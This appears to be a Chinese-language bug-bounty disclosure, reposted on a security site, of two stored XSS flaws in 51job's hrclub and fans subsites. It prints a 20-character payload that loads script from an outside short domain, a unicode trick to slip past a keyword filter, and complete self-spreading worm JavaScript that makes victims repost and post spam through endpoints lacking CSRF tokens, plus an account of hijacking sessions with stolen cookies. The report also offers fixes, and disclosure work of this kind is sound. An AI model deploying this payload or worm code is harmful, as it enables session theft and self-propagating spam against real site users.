两枚存储型XSS 分别处于: 1.http://hrclub.51job.com/ 2.http://fans.51job.com/ 先来说第一个 hr club 漏洞存在于日志发表 - 作者处 (http://hrclub.51job.com/blog/user_post.asp) 着重说下这里:只能输入20个字符 前端限制15字符 未做任何过滤! 20字符 在html标签外 <a>([可控])</a>就是这样的环境 20字符如何去加载js? <script src=//20.rs> 刚刚好20 可以利用Html代码后面的 </script> 或者让浏览器渲染后 补全都可以! // 代表当前协议 然后再加上 parsec 团队的短域名 20.rs 这样组合在一起就成为了payload 上张图: 日志编辑界面 前台日志 可以看到未做任何过滤 好了再来说下第二个存储型XSS吧 先上张图瞅一眼: 这些是点开微博 自动转发的截图。在转发 发表微博什么的 全部未做csrf防护。这点安全意思需要加强啊! 再来说下 漏洞存在于哪吧,其实很简单 就是发微博的正文出。看下面的截图: 可以看到 点击微博 看详情的时候 正文就被带入了script 然后没对 ' " > < / \ &#等字符进行编码 导致我成功闭合。然后用jQuery.getScript 成功加载js!(对关键字做了检测 Script 编码一下 绕过检测!对c 做了下unicode编码 :\u0063 在js中是可以使用js 16 js 8 jsunicode等编码的!在我这篇文章中曾提到过:http://drops.wooyun.org/tips/689) 然后我再对转发跟发表微博抓了个包,发现并未存在token,删除了来源页提交扔能成功! 上面post包中的content 就是转发时 说的内容 urldecode 过来就是:挺不错喔,分享一下 然后还会自己再发表一条微博! 先看看代码吧: ;var address="http://fans.51job.com/payservice/fans/ajax/weibo_ajax.php"; var shuju="type=4&tsmtype=1¬iceid=140810019204190&replyid=140810019204190&org_replyid=&coid=&content=%E6%8C%BA%E4%B8%8D%E9%94%99%E5%96%94%EF%BC%8C%E5%88%86%E4%BA%AB%E4%B8%80%E4%B8%8B&tsmto=1&ctid=undefined"; ruchong(address,shuju); function ruchong(url,data){ if (window.XMLHttpRequest){ var xmlhttp1=new XMLHttpRequest(); } else{ var xmlhttp1=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp1.open("POST",url,true); xmlhttp1.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); xmlhttp1.send(data); }; for(var i=0;i<10;i++){ dizhi = "http://fans.51job.com/payservice/fans/ajax/weibo_ajax.php"; var id =[141505,1228355,2075311,154736,2505521,183831,370547,2014250,111351,126889]; var sendata="type=2&coid="+i+"&content=%E8%BF%99%E4%B8%AA%E6%89%BE%E5%B7%A5%E4%BD%9C%E6%8A%80%E5%B7%A7%E4%B8%8D%E9%94%99%E5%93%A6%EF%BC%8C%E5%90%84%E8%A1%8C%E5%90%84%E4%B8%9A%E7%9A%84%E5%A4%A7%E4%BD%AC%E4%BB%AC%E4%BA%B2%E8%87%AA%E4%BC%A0%E6%8E%88%EF%BC%81http%3A%2F%2Ffans.51job.com%2Fru7B4q&uploadimg=&is_comp=0&sina_authorize=0&qq_authorize=0"; ruchong(dizhi,sendata); } 这个就是蠕虫的代码,先转发一次,然后再发表一条新的微博! 另外我还尝试了 获得cookie 并登陆 看截图: 虽然做了httponly 但是仍然 能够登陆 看下图: 成功登陆上去 使用的是我自己的cookie生成插件: 只需把cookie放入左边 点击生成就会生成一段js代码 然后把代码放到浏览器里的console执行一下就好了!
待会就把cookie都删了 请放心 我有节操。。。。 确认请多给点分 谢谢! 修复方案:过滤特殊字符 ' " < > / \ & # 然后关键功能做上csrf的保护等等 不要以为可输入的字符短了 就一点过滤也不做。。。 好了 差不多就这些吧 希望可以多给点分 |
-
上一篇: U-Mail邮件系统上传文件导致getshell - 网站安全 -
下一篇: 搜狗闪电邮平行越权漏洞 - 网站安全 - 自学php
还没有人抢沙发呢~